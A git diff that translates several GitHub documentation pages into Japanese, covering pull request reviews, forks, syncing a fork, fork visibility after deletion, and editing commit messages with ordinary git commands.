+++ b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md
@@ -1,6 +1,6 @@
 ---
-title: Reviewing proposed changes in a pull request
-intro: 'In a pull request, you can review and discuss commits, changed files, and the differences (or "diff") between the files in the base and compare branches.'
+title: プルリクエストで提案された変更をレビューする
+intro: Pull Request では、コミット、変更されたファイル、ベース ブランチと比較ブランチでのファイル間の違い (つまり "diff") をレビューしたり議論したりできます。
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request
   - /articles/reviewing-proposed-changes-in-a-pull-request
@@ -15,15 +15,14 @@ topics:
   - Pull requests
 shortTitle: Review proposed changes
 ---
-## About reviewing pull requests
 
-You can review changes in a pull request one file at a time. While reviewing the files in a pull request, you can leave individual comments on specific changes. After you finish reviewing each file, you can mark the file as viewed. This collapses the file, helping you identify the files you still need to review. A progress bar in the pull request header shows the number of files you've viewed. After reviewing as many files as you want, you can approve the pull request or request additional changes by submitting your review with a summary comment.
+## プルリクエストのレビューについて
+
+プルリクエストの変更は、1 ファイルごとにレビューできます。 プルリクエストでファイルを確認しているときに、特定の変更について個別のコメントを残すことができます。 各ファイルの確認が終了したら、ファイルを閲覧済みとしてマークできます。 これによりファイルが折りたたまれるので、まだレビューを必要とするファイルを特定するのに役立ちます。 プルリクエストヘッダのプログレスバーには、閲覧したファイル数が表示されます。 必要な数のファイルを確認した後、要約コメントを付けて確認を送信することにより、プルリクエストを承認するか、追加の変更をリクエストできます。
 
 {% data reusables.search.requested_reviews_search_tip %}
 
-## Starting a review
-
-{% include tool-switcher %}
+## レビューを開始する
 
 {% webui %}
 
@@ -41,13 +40,13 @@ You can review changes in a pull request one file at a time. While reviewing the
 {% data reusables.repositories.start-line-comment %}
 {% data reusables.repositories.type-line-comment %}
 {% data reusables.repositories.suggest-changes %}
-1. When you're done, click **Start a review**. If you have already started a review, you can click **Add review comment**.
+1. 完了したら、[**Start a review**] をクリックします。 レビューがすでに開始していた場合は、[**Add review comment**] (レビューコメントを追加) をクリックします。
 
-   ![Start a review button](/assets/images/help/pull_requests/start-a-review-button.png)
+   ![[Start a review] ボタン](/assets/images/help/pull_requests/start-a-review-button.png)
 
-Before you submit your review, your line comments are _pending_ and only visible to you. You can edit pending comments anytime before you submit your review. To cancel a pending review, including all of its pending comments, scroll down to the end of the timeline on the Conversation tab, then click **Cancel review**.
+レビューを提出する前は、行のコメントは_保留中_であり、自分にしか見えません。 レビューを提出する前ならばいつでも、保留中のコメントを編集できます。 その保留中のコメントのすべてを含めて、保留中のレビューをキャンセルするには、[Conversation] タブでタイムラインの最後まで下にスクロールし、[**Cancel review**] をクリックします。
 
-![Cancel review button](/assets/images/help/pull_requests/cancel-review-button.png)
+![[Cancel review] ボタン](/assets/images/help/pull_requests/cancel-review-button.png)
 {% endwebui %}
 
 {% ifversion fpt or ghec %}
@@ -64,49 +63,49 @@ For more information on reviewing pull requests in {% data variables.product.pro
 {% endif %}
 
 {% ifversion fpt or ghes > 3.1 or ghec %}
-## Reviewing dependency changes
+## 依存関係の変更をレビューする
 
 {% data reusables.dependency-review.beta %}
 
-If the pull request contains changes to dependencies you can use the dependency review for a manifest or lock file to see what has changed and check whether the changes introduce security vulnerabilities. For more information, see "[Reviewing dependency changes in a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request)."
+プルリクエストに依存関係への変更が含まれている場合は、マニフェストまたはロックファイルの依存関係のレビューを使用して、何が変更されたかを確認し、変更によるセキュリティの脆弱性の発生の有無を確認できます。 詳しい情報については「[Pull Request中の依存関係の変更のレビュー](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request)」を参照してください。
 
 {% data reusables.repositories.changed-files %}
 
-1. On the right of the header for a manifest or lock file, display the dependency review by clicking the **{% octicon "file" aria-label="The rich diff icon" %}** rich diff button.
+1. マニフェストまたはロックファイルのヘッダの右側で、**リッチ{% octicon "file" aria-label="The rich diff icon" %}** diff ボタンをクリックして依存関係のレビューを表示します。
 
-   ![The rich diff button](/assets/images/help/pull_requests/dependency-review-rich-diff.png)
+   ![リッチ diff ボタン](/assets/images/help/pull_requests/dependency-review-rich-diff.png)
 
 {% data reusables.repositories.return-to-source-diff %}
 {% endif %}
 
-## Marking a file as viewed
+## ファイルをレビュー済みとしてマークする
 
-After you finish reviewing a file, you can mark the file as viewed, and the file will collapse. If the file changes after you view the file, it will be unmarked as viewed.
+ファイルのレビュー後は、そのファイルをレビュー済みとしてマークできます。マークしたファイルは折りたたまれます。 ファイルを表示後に変更すると、レビュー済みマークが解除されます。
 
 {% data reusables.repositories.changed-files %}
-2. On the right of the header of the file you've finished reviewing, select **Viewed**.
+2. レビューを完了したファイルの、ヘッダの右側にある [**Viewed**] を選択します。
 
-   ![Viewed checkbox](/assets/images/help/pull_requests/viewed-checkbox.png)
+   ![[Viewed] チェックボックス](/assets/images/help/pull_requests/viewed-checkbox.png)
 
-## Submitting your review
+## レビューを提出する
 
-After you've finished reviewing all the files you want in the pull request, submit your review.
+プルリクエスト内でレビューしたいファイルをすべてレビューし終えたら、レビューをサブミットします。
 
 {% data reusables.repositories.changed-files %}
 {% data reusables.repositories.review-changes %}
 {% data reusables.repositories.review-summary-comment %}
-4. Select the type of review you'd like to leave:
+4. 残しておくレビューの種類を選択します:
 
-   ![Radio buttons with review options](/assets/images/help/pull_requests/pull-request-review-statuses.png)
+   ![レビュー オプションを選択するラジオ ボタン](/assets/images/help/pull_requests/pull-request-review-statuses.png)
 
-    - Select **Comment** to leave general feedback without explicitly approving the changes or requesting additional changes.
-    - Select **Approve** to submit your feedback and approve merging the changes proposed in the pull request.
-    - Select **Request changes** to submit feedback that must be addressed before the pull request can be merged.
+    - 変更を明確には承認せず、さらなる変更をリクエストすることもなく、おおまかなフィードバックだけを残したい場合は、[**Comment**] を選択します。
+    - フィードバックを提出して、Pull Request で提案された変更をマージすることを承認するには、[**Approve**] を選択します。
+    - Pull Request をマージする前に対処すべき問題をフィードバックするには、[**Request changes**] を選択します。
 {% data reusables.repositories.submit-review %}
 
 {% data reusables.repositories.request-changes-tips %}
 
-## Further reading
+## 参考リンク
 
-- "[About protected branches](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging)"
-- "[Filtering pull requests by review status](/github/managing-your-work-on-github/filtering-pull-requests-by-review-status)"
+- [保護されたブランチについて](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging)
+- 「[プルリクエストをレビューステータスでフィルタリングする](/github/managing-your-work-on-github/filtering-pull-requests-by-review-status)」
diff --git a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md
index f9a5eda3a6..85c154a11d 100644
--- a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md
+++ b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md
@@ -1,6 +1,6 @@
 ---
-title: About forks
-intro: A fork is a copy of a repository that you manage. Forks let you make changes to a project without affecting the original repository. You can fetch updates from or submit changes to the original repository with pull requests.
+title: フォークについて
+intro: フォークはユーザが管理するリポジトリのコピーです。 フォークを使えば、オリジナルのリポジトリに影響を与えることなくプロジェクトへの変更を行えます。 オリジナルのリポジトリから更新をフェッチしたり、プルリクエストでオリジナルのリポジトリに変更をサブミットしたりできます。
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/working-with-forks/about-forks
   - /articles/about-forks
@@ -14,10 +14,11 @@ versions:
 topics:
   - Pull requests
 ---
-Forking a repository is similar to copying a repository, with two major differences:
 
-* You can use a pull request to suggest changes from your user-owned fork to the original repository, also known as the *upstream* repository.
-* You can bring changes from the upstream repository to your local fork by synchronizing your fork with the upstream repository.
+リポジトリのフォークはリポジトリのコピーと似ていますが、次の 2 つの大きな違いがあります。
+
+* プルリクエストを使ってユーザが所有するフォークからの変更をオリジナルのリポジトリ（*上流*のリポジトリとも呼ばれます）に提案できます。
+* 上流のリポジトリと自分のフォークを同期させることで、上流のリポジトリからの変更を自分のローカルフォークへ持ち込めます。
 
 {% data reusables.repositories.you-can-fork %}
 
@@ -29,17 +30,17 @@ If you're a member of a {% data variables.product.prodname_emu_enterprise %}, th
 
 {% data reusables.repositories.desktop-fork %}
 
-Deleting a fork will not delete the original upstream repository. You can make any changes you want to your fork—add collaborators, rename files, generate {% data variables.product.prodname_pages %}—with no effect on the original.{% ifversion fpt or ghec %} You cannot restore a deleted forked repository. For more information, see "[Restoring a deleted repository](/articles/restoring-a-deleted-repository)."{% endif %}
+フォークを削除しても、オリジナルの上流のリポジトリは削除されません。 オリジナルに影響を与えることなく、コラボレータの追加、ファイル名の変更、{% data variables.product.prodname_pages %} の生成など、自分のフォークに必要な変更を加えることができます。{% ifversion fpt or ghec %}削除されたフォークリポジトリを復元することはできません。 詳しい情報については、「[削除されたリポジトリを復元する](/articles/restoring-a-deleted-repository)」を参照してください。{% endif %}
 
-In open source projects, forks are often used to iterate on ideas or changes before they are offered back to the upstream repository. When you make changes in your user-owned fork and open a pull request that compares your work to the upstream repository, you can give anyone with push access to the upstream repository permission to push changes to your pull request branch (including deleting the branch). This speeds up collaboration by allowing repository maintainers the ability to make commits or run tests locally to your pull request branch from a user-owned fork before merging. You cannot give push permissions to a fork owned by an organization. 
+オープンソースプロジェクトでは、フォークを使用して、上流のリポジトリに提供される前にアイデアや変更をイテレーションすることがよくあります。 When you make changes in your user-owned fork and open a pull request that compares your work to the upstream repository, you can give anyone with push access to the upstream repository permission to push changes to your pull request branch (including deleting the branch). これにより、リポジトリメンテナがマージする前に、ユーザが所有するフォークからプルリクエストブランチに対してローカルでコミットを実行したり、テストを実行したりすることができるようになり、コラボレーションがスピードアップします。 Organization が所有するフォークにプッシュ権限を与えることはできません。
 
 {% data reusables.repositories.private_forks_inherit_permissions %}
 
 If you want to create a new repository from the contents of an existing repository but don't want to merge your changes to the upstream in the future, you can duplicate the repository or, if the repository is a template, you can use the repository as a template. For more information, see "[Duplicating a repository](/articles/duplicating-a-repository)" and "[Creating a repository from a template](/articles/creating-a-repository-from-a-template)".
 
-## Further reading
+## 参考リンク
 
-- "[About collaborative development models](/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models)"
-- "[Creating a pull request from a fork](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)"
-- [Open Source Guides](https://opensource.guide/){% ifversion fpt or ghec %}
+- [コラボレーティブ開発モデルについて](/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models)
+- [フォークからプルリクエストを作成する](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)
+- [オープンソースガイド](https://opensource.guide/){% ifversion fpt or ghec %}
 - [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}){% endif %}
diff --git a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/working-with-forks/index.md b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/working-with-forks/index.md
index 19207dd1b4..5c74b69440 100644
--- a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/working-with-forks/index.md
+++ b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/working-with-forks/index.md
@@ -1,6 +1,6 @@
 ---
-title: Working with forks
-intro: 'Forks are often used in open source development on {% data variables.product.product_name %}.'
+title: フォークを使って作業する
+intro: 'フォークは、{% data variables.product.product_name %} のオープンソース開発でよく使われます。'
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/working-with-forks
   - /articles/working-with-forks
@@ -20,3 +20,4 @@ children:
   - /allowing-changes-to-a-pull-request-branch-created-from-a-fork
   - /what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility
 ---
+
diff --git a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork.md b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork.md
index 586100d514..676836b7ed 100644
--- a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork.md
+++ b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork.md
@@ -1,6 +1,6 @@
 ---
-title: Syncing a fork
-intro: Sync a fork of a repository to keep it up-to-date with the upstream repository.
+title: フォークを同期する
+intro: リポジトリのフォークを最新に保つために上流リポジトリと同期します。
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/working-with-forks/syncing-a-fork
   - /articles/syncing-a-fork
@@ -20,21 +20,19 @@ topics:
 ## Syncing a fork from the web UI
 
 1. On {% data variables.product.product_name %}, navigate to the main page of the forked repository that you want to sync with the upstream repository.
-1. Select the **Fetch upstream** drop-down.
-    !["Fetch upstream" drop-down](/assets/images/help/repository/fetch-upstream-drop-down.png)
-1. Review the details about the commits from the upstream repository, then click **Fetch and merge**.
-    !["Fetch and merge" button](/assets/images/help/repository/fetch-and-merge-button.png)
+1. Select the **Fetch upstream** drop-down. !["Fetch upstream" drop-down](/assets/images/help/repository/fetch-upstream-drop-down.png)
+1. Review the details about the commits from the upstream repository, then click **Fetch and merge**. !["Fetch and merge" button](/assets/images/help/repository/fetch-and-merge-button.png)
 
 If the changes from the upstream repository cause conflicts, {% data variables.product.company_short %} will prompt you to create a pull request to resolve the conflicts.
 
 ## Syncing a fork from the command line
 
 {% endif %}
-Before you can sync your fork with an upstream repository, you must [configure a remote that points to the upstream repository](/pull-requests/collaborating-with-pull-requests/working-with-forks/configuring-a-remote-for-a-fork) in Git.
+上流リポジトリとフォークを同期する前に、Git で[上流リポジトリをポイントするリモートの設定](/pull-requests/collaborating-with-pull-requests/working-with-forks/configuring-a-remote-for-a-fork)をする必要があります。
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Change the current working directory to your local project.
-3. Fetch the branches and their respective commits from the upstream repository. Commits to `BRANCHNAME` will be stored in the local branch `upstream/BRANCHNAME`.
+2. ワーキングディレクトリをローカルプロジェクトに変更します。
+3. 上流リポジトリから、ブランチと各ブランチのコミットをフェッチします。 `BRANCHNAME` へのコミットは、ローカルブランチ `upstream/BRANCHNAME` に保存されます。
   ```shell
   $ git fetch upstream
   > remote: Counting objects: 75, done.
@@ -44,12 +42,12 @@ Before you can sync your fork with an upstream repository, you must [configure a
   > From https://{% data variables.command_line.codeblock %}/<em>ORIGINAL_OWNER</em>/<em>ORIGINAL_REPOSITORY</em>
   >  * [new branch]      main     -> upstream/main
   ```
-4. Check out your fork's local default branch - in this case, we use `main`.
+4. フォークのローカルのデフォルトブランチを確認してください。この場合は、`main` を使用します。
   ```shell
   $ git checkout main
   > Switched to branch 'main'
   ```
-5. Merge the changes from the upstream default branch - in this case, `upstream/main` - into your local default branch. This brings your fork's default branch into sync with the upstream repository, without losing your local changes.
+5. 上流のデフォルトブランチ (この場合は `upstream/main`) からの変更をローカルのデフォルトブランチにマージします。 これにより、ローカルの変更を失うことなく、フォークのデフォルトブランチが上流リポジトリと同期されます。
   ```shell
   $ git merge upstream/main
   > Updating a422352..5fdff0f
@@ -70,6 +68,6 @@ Before you can sync your fork with an upstream repository, you must [configure a
 
 {% tip %}
 
-**Tip**: Syncing your fork only updates your local copy of the repository. To update your fork on {% data variables.product.product_location %}, you must [push your changes](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/).
+**参考**: フォークの同期は、リポジトリのローカルコピーだけをアップデートします。 {% data variables.product.product_location %} 上のフォークをアップデートするには、[変更をプッシュする](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)必要があります。
 
 {% endtip %}
diff --git a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md
index 2a067051d5..dc768372b1 100644
--- a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md
+++ b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md
@@ -1,6 +1,6 @@
 ---
-title: What happens to forks when a repository is deleted or changes visibility?
-intro: Deleting your repository or changing its visibility affects that repository's forks.
+title: リポジトリが削除されたり可視性が変更されたりするとフォークはどうなりますか？
+intro: リポジトリを削除したり、その可視性を変更したりすると、そのリポジトリのフォークに影響します。
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility
   - /articles/changing-the-visibility-of-a-network
@@ -16,68 +16,69 @@ topics:
   - Pull requests
 shortTitle: Deleted or changes visibility
 ---
+
 {% data reusables.repositories.deleted_forks_from_private_repositories_warning %}
 
-## Deleting a private repository
+## プライベートリポジトリを削除する
 
-When you delete a private repository, all of its private forks are also deleted.
+プライベートリポジトリを削除すると、そのプライベートフォークもすべて削除されます。
 
 {% ifversion fpt or ghes or ghec %}
 
-## Deleting a public repository
+## パブリックリポジトリを削除する
 
-When you delete a public repository, one of the existing public forks is chosen to be the new parent repository. All other repositories are forked off of this new parent and subsequent pull requests go to this new parent.
+パブリックリポジトリを削除すると、既存のパブリックフォークの 1 つが新しい親リポジトリとして選択されます。 他のすべてのリポジトリはこの新しい親から分岐し、その後のプルリクエストはこの新しい親に送られます。
 
 {% endif %}
 
-## Private forks and permissions
+## プライベートフォークと権限
 
 {% data reusables.repositories.private_forks_inherit_permissions %}
 
 {% ifversion fpt or ghes or ghec %}
 
-## Changing a public repository to a private repository
+## パブリックリポジトリをプライベートリポジトリに変更する
 
-If a public repository is made private, its public forks are split off into a new network. As with deleting a public repository, one of the existing public forks is chosen to be the new parent repository and all other repositories are forked off of this new parent. Subsequent pull requests go to this new parent.
+パブリックリポジトリを非公開にすると、そのパブリックフォークは新しいネットワークに分割されます。 パブリックリポジトリの削除と同様に、既存のパブリックフォークの 1 つが新しい親リポジトリとして選択され、他のすべてのリポジトリはこの新しい親から分岐されます。 後続のプルリクエストは、この新しい親に行きます。
 
-In other words, a public repository's forks will remain public in their own separate repository network even after the parent repository is made private. This allows the fork owners to continue to work and collaborate without interruption. If public forks were not moved into a separate network in this way, the owners of those forks would need to get the appropriate [access permissions](/articles/access-permissions-on-github) to pull changes from and submit pull requests to the (now private) parent repository—even though they didn't need those permissions before.
+言い換えれば、パブリックリポジトリのフォークは、親リポジトリが非公開にされた後も、独自の別のリポジトリネットワークで公開されたままになります。 これにより、フォークオーナーは作業を中断せずに作業を継続できます。 このようにパブリックフォークが別のネットワークに移動されなかった場合、それらのフォークのオーナーは適切な[アクセス許可](/articles/access-permissions-on-github)を取得してプルする必要があります。 以前はこれらのアクセス権が必要ではなかったとしても、(現在はプライベートになっている) 親リポジトリからの変更を取得して送信します。
 
 {% ifversion ghes or ghae %}
-If a public repository has anonymous Git read access enabled and the repository is made private, all of the repository's forks will lose anonymous Git read access and return to the default disabled setting. If a forked repository is made public, repository administrators can re-enable anonymous Git read access. For more information, see "[Enabling anonymous Git read access for a repository](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)."
+パブリックリポジトリで匿名の Git 読み取りアクセスが有効になっていて、そのリポジトリが非公開になっている場合、リポジトリのすべてのフォークは匿名の Git 読み取りアクセスを失い、デフォルトの無効設定に戻ります。 分岐したリポジトリが公開された場合、リポジトリ管理者は匿名の Git 読み取りアクセスを再度有効にすることができます。 詳細は「[リポジトリに対する匿名 Git 読み取りアクセスを有効化する](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)」を参照してください。
 {% endif %}
 
-### Deleting the private repository
+### プライベートリポジトリを削除する
 
-If a public repository is made private and then deleted, its public forks will continue to exist in a separate network.
+パブリックリポジトリを非公開にしてから削除しても、そのパブリックフォークは別のネットワークに存在し続けます。
 
-## Changing a private repository to a public repository
+## プライベートリポジトリのパブリックリポジトリへの変更
 
-If a private repository is made public, each of its private forks is turned into a standalone private repository and becomes the parent of its own new repository network. Private forks are never automatically made public because they could contain sensitive commits that shouldn't be exposed publicly.
+プライベートリポジトリが公開されると、そのプライベートフォークはそれぞれスタンドアロンのプライベートリポジトリになり、独自の新しいリポジトリネットワークの親になります。 プライベートフォークは、公開されるべきではない機密のコミットを含む可能性があるため、自動的に公開されることはありません。
 
-### Deleting the public repository
+### パブリックリポジトリを削除する
 
-If a private repository is made public and then deleted, its private forks will continue to exist as standalone private repositories in separate networks.
+プライベートリポジトリを公開してから削除しても、そのプライベートフォークは独立したプライベートリポジトリとして別々のネットワークに存在し続けます。
 
 {% endif %}
 
 {% ifversion ghes or ghec or ghae %}
 
-## Changing the visibility of an internal repository
+## 内部リポジトリの表示を変更する
 
 
 
-If the policy for your enterprise permits forking, any fork of an internal repository will be private. If you change the visibility of an internal repository, any fork owned by an organization or user account will remain private.
+Enterprise のポリシーでフォークが許可されている場合、内部リポジトリのフォークはすべてプライベートになります。 内部リポジトリの表示を変更した場合、Organization またはユーザアカウントが所有するフォークはすべてプライベートのままになります。
 
-### Deleting the internal repository
+### 内部リポジトリを削除する
 
-If you change the visibility of an internal repository and then delete the repository, the forks will continue to exist in a separate network.
+内部リポジトリの表示を変更してからリポジトリを削除すると、フォークは別のネットワークに引き続き存在します。
 
 {% endif %}
 
-## Further reading
+## 参考リンク
 
-- "[Setting repository visibility](/articles/setting-repository-visibility)"
-- "[About forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)"
-- "[Managing the forking policy for your repository](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)"
-- "[Managing the forking policy for your organization](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)"
+- 「[リポジトリの可視性を設定する](/articles/setting-repository-visibility)」
+- 「[フォークについて](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)」
+- 「[リポジトリのフォークポリシーを管理する](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)」
+- 「[Organization のフォークポリシーを管理する](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)」
 - "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-on-forking-private-or-internal-repositories)"
diff --git a/translations/ja-JP/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message.md b/translations/ja-JP/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message.md
index 5877608cd0..6a9f2ca6b2 100644
--- a/translations/ja-JP/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message.md
+++ b/translations/ja-JP/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message.md
@@ -1,73 +1,74 @@
 ---
-title: Changing a commit message
+title: コミットメッセージの変更
 redirect_from:
   - /articles/can-i-delete-a-commit-message
   - /articles/changing-a-commit-message
   - /github/committing-changes-to-your-project/changing-a-commit-message
   - /github/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message
-intro: 'If a commit message contains unclear, incorrect, or sensitive information, you can amend it locally and push a new commit with a new message to {% data variables.product.product_name %}. You can also change a commit message to add missing information.'
+intro: 'コミットメッセージに不明確、不正確、または機密情報が含まれている場合、ローカルでメッセージを修正して、{% data variables.product.product_name %}に新しいメッセージで新しいコミットをプッシュできます。 また、コミットメッセージを変更して、不足している情報を追加することも可能です。'
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
 ---
-## Rewriting the most recent commit message
 
-You can change the most recent commit message using the `git commit --amend` command.
+## 直近のコミットメッセージの書き換え
 
-In Git, the text of the commit message is part of the commit. Changing the commit message will change the commit ID--i.e., the SHA1 checksum that names the commit. Effectively, you are creating a new commit that replaces the old one.
+`git commit --amend` コマンドで、直近のコミットメッセージを変更できます。
 
-## Commit has not been pushed online
+Git では、コミットメッセージのテキストはコミットの一部として扱われます。 コミットメッセージを変更すると、コミット ID (コミットの SHA1 チェックサム) も変更されます。 実質的には、古いコミットに代わる新しいコミットを作成することになります。
 
-If the commit only exists in your local repository and has not been pushed to {% data variables.product.product_location %}, you can amend the commit message with the `git commit --amend` command.
+## オンラインにプッシュされていないコミット
 
-1. On the command line, navigate to the repository that contains the commit you want to amend.
-2. Type `git commit --amend` and press **Enter**.
-3. In your text editor, edit the commit message, and save the commit.
-    - You can add a co-author by adding a trailer to the commit. For more information, see "[Creating a commit with multiple authors](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors)."
+コミットがローカルリポジトリにのみ存在し、{% data variables.product.product_location %}にプッシュされていない場合、`git commit --amend` コマンドでコミットメッセージを修正できます。
+
+1. コマンドラインで、修正したいコミットのあるリポジトリに移動します。
+2. `git commit --amend` と入力し、**Enter** を押します。
+3. テキストエディタでコミットメッセージを編集し、コミットを保存します。
+    - コミットにトレーラーを追加することで、共作者を追加できます。 詳しい情報については、「[複数の作者を持つコミットを作成する](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors)」を参照してください。
 {% ifversion fpt or ghec %}
-    - You can create commits on behalf of your organization by adding a trailer to the commit. For more information, see "[Creating a commit on behalf of an organization](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization)"
+    - コミットにトレーラーを追加することで、Organization の代理でコミットを作成できます。 詳しい情報については「[Organization の代理でコミットを作成](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization)」を参照してください。
 {% endif %}
 
-The new commit and message will appear on {% data variables.product.product_location %} the next time you push.
+次回のプッシュ時に、{% data variables.product.product_location %}に新たなコミットとメッセージが表示されます。
 
 {% tip %}
 
-You can change the default text editor for Git by changing the `core.editor` setting. For more information, see "[Basic Client Configuration](https://git-scm.com/book/en/Customizing-Git-Git-Configuration#_basic_client_configuration)" in the Git manual.
+Git で使うデフォルトのテキストエディタは、`core.editor` の設定で変更できます。 詳しい情報については、Git のマニュアルにある「[基本クライアント設定](https://git-scm.com/book/en/Customizing-Git-Git-Configuration#_basic_client_configuration)」を参照してください。
 
 {% endtip %}
 
-## Amending older or multiple commit messages
+## 古いまたは複数のコミットメッセージの修正
 
-If you have already pushed the commit to {% data variables.product.product_location %}, you will have to force push a commit with an amended message.
+すでにコミットを {% data variables.product.product_location %}にプッシュしている場合、修正済みのメッセージでコミットをフォースプッシュする必要があります。
 
 {% warning %}
 
-We strongly discourage force pushing, since this changes the history of your repository. If you force push, people who have already cloned your repository will have to manually fix their local history. For more information, see "[Recovering from upstream rebase](https://git-scm.com/docs/git-rebase#_recovering_from_upstream_rebase)" in the Git manual.
+リポジトリの履歴が変更されるため、フォースプッシュは推奨されません。 フォースプッシュを行った場合、リポジトリをすでにクローンした人はローカルの履歴を手動で修正する必要があります。 詳しい情報については、Git のマニュアルにある「[上流リベースからのリカバリ](https://git-scm.com/docs/git-rebase#_recovering_from_upstream_rebase)」を参照してください。
 
 {% endwarning %}
 
-**Changing the message of the most recently pushed commit**
+**直近でプッシュされたコミットのメッセージを変更する**
 
-1. Follow the [steps above](/articles/changing-a-commit-message#commit-has-not-been-pushed-online) to amend the commit message.
+1. [上記の手順](/articles/changing-a-commit-message#commit-has-not-been-pushed-online)に従って、コミットメッセージを修正します。
 2. Use the `push --force-with-lease` command to force push over the old commit.
   ```shell
   $ git push --force-with-lease <em>example-branch</em>
   ```
 
-**Changing the message of older or multiple commit messages**
+**古いまたは複数のコミットメッセージを変更する**
 
-If you need to amend the message for multiple commits or an older commit, you can use interactive rebase, then force push to change the commit history.
+複数のコミットまたは古いコミットの、メッセージを修正する必要がある場合は、インタラクティブなリベースを利用した後にフォースプッシュして、コミットの履歴を変更できます。
 
-1. On the command line, navigate to the repository that contains the commit you want to amend.
-2. Use the `git rebase -i HEAD~n` command to display a list of the last `n` commits in your default text editor.
+1. コマンドラインで、修正したいコミットのあるリポジトリに移動します。
+2. `git rebase -i HEAD~n` コマンドで、デフォルトのテキストエディタに直近 `n` コミットの一覧を表示できます。
 
     ```shell
-    # Displays a list of the last 3 commits on the current branch
+    # 現在のブランチの最後の 3 つのコミットのリストを表示する
     $ git rebase -i HEAD~3
     ```
-    The list will look similar to the following:
+    リストは、以下のようになります。
 
     ```shell
     pick e499d89 Delete CNAME
@@ -92,33 +93,33 @@ If you need to amend the message for multiple commits or an older commit, you ca
     #
     # Note that empty commits are commented out
     ```
-3. Replace `pick` with `reword` before each commit message you want to change.
+3. 変更する各コミットメッセージの前の `pick` を `reword` に置き換えます。
   ```shell
   pick e499d89 Delete CNAME
   reword 0c39034 Better README
   reword f7fde4a Change the commit message but push the same commit.
   ```
-4. Save and close the commit list file.
-5. In each resulting commit file, type the new commit message, save the file, and close it.
-6. When you're ready to push your changes to GitHub, use the push --force command to force push over the old commit.
+4. コミット一覧のファイルを保存して閉じます。
+5. 生成された各コミットコミットファイルに、新しいコミットメッセージを入力し、ファイルを保存して閉じます。
+6. 変更を GitHub にプッシュする準備ができたら、push --force コマンドを使用して、古いコミットを強制的にプッシュします。
 ```shell
 $ git push --force <em>example-branch</em>
 ```
 
-For more information on interactive rebase, see "[Interactive mode](https://git-scm.com/docs/git-rebase#_interactive_mode)" in the Git manual.
